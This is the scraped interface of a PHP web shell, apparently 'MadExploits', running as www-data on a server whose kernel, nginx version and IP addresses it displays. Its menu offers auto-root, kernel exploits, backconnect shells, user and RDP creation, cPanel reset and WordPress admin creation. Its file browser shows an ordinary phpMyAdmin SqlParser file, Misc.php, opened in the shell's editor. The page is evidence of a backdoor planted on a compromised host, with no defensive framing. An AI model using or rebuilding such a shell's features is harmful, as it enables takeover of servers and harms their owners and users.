Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
BufferedQuery.php
13.45
KB
-rw-r--r--
CLI.php
6.02
KB
-rw-r--r--
Error.php
2.82
KB
-rw-r--r--
Formatter.php
22.01
KB
-rw-r--r--
Misc.php
2.9
KB
-rw-r--r--
Query.php
25.9
KB
-rw-r--r--
Routine.php
3.5
KB
-rw-r--r--
Table.php
3.56
KB
-rw-r--r--
Tokens.php
3.97
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Misc.php
<?php /** * Miscellaneous utilities. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Utils; use PhpMyAdmin\SqlParser\Components\Expression; use PhpMyAdmin\SqlParser\Statements\SelectStatement; /** * Miscellaneous utilities. */ class Misc { /** * Gets a list of all aliases and their original names. * * @param SelectStatement $statement the statement to be processed * @param string $database the name of the database * * @return array */ public static function getAliases($statement, $database) { if (! ($statement instanceof SelectStatement) || empty($statement->expr) || empty($statement->from) ) { return []; } $retval = []; $tables = []; /** * Expressions that may contain aliases. * These are extracted from `FROM` and `JOIN` keywords. * * @var Expression[] */ $expressions = $statement->from; // Adding expressions from JOIN. if (! empty($statement->join)) { foreach ($statement->join as $join) { $expressions[] = $join->expr; } } foreach ($expressions as $expr) { if (! isset($expr->table) || ($expr->table === '')) { continue; } $thisDb = isset($expr->database) && ($expr->database !== '') ? $expr->database : $database; if (! isset($retval[$thisDb])) { $retval[$thisDb] = [ 'alias' => null, 'tables' => [], ]; } if (! isset($retval[$thisDb]['tables'][$expr->table])) { $retval[$thisDb]['tables'][$expr->table] = [ 'alias' => isset($expr->alias) && ($expr->alias !== '') ? $expr->alias : null, 'columns' => [], ]; } if (! isset($tables[$thisDb])) { $tables[$thisDb] = []; } $tables[$thisDb][$expr->alias] = $expr->table; } foreach ($statement->expr as $expr) { if (! isset($expr->column, $expr->alias) || ($expr->column === '') || ($expr->alias === '') ) { continue; } $thisDb = isset($expr->database) && ($expr->database !== '') ? $expr->database : $database; if (isset($expr->table) && ($expr->table !== '')) { $thisTable = $tables[$thisDb][$expr->table] ?? $expr->table; $retval[$thisDb]['tables'][$thisTable]['columns'][$expr->column] = $expr->alias; } else { foreach ($retval[$thisDb]['tables'] as &$table) { $table['columns'][$expr->column] = $expr->alias; } } } return $retval; } }
Close